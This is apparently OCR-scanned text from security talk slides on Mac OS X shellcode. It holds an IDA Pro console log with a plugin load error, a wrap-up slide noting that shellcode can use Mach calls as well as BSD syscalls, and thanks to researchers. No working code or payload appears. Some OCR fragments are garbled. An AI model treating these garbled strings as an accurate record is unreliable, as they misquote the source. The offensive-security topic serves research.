Executing function 'OnLoad'...

IDA is analysing the input file...

You may start to explore the input file right now.

LoadLibrary(C:\Program Files\IDA\plugins\python.plw) error: This application has failed to start because the application configuration is incorrect.

Reinstalling the application may fix this problem.

C:\Program Files\IDA\pluginsipython.plw: can't load file

Propagating type information. .. —
N : ed v

AU:  idle Dowm Disk: 15GB
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Conclusion

Wrap-up

* Mac shellcodes don’t have to only use BSD syscalls

« OS Xis a hybrid between BSD and mach — so should your
shellcode ©
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Thanks /| Good Research

Nemo - macsploitation pioneer.

Amit Singh

Dino Dai Zovi

Charlie Miller
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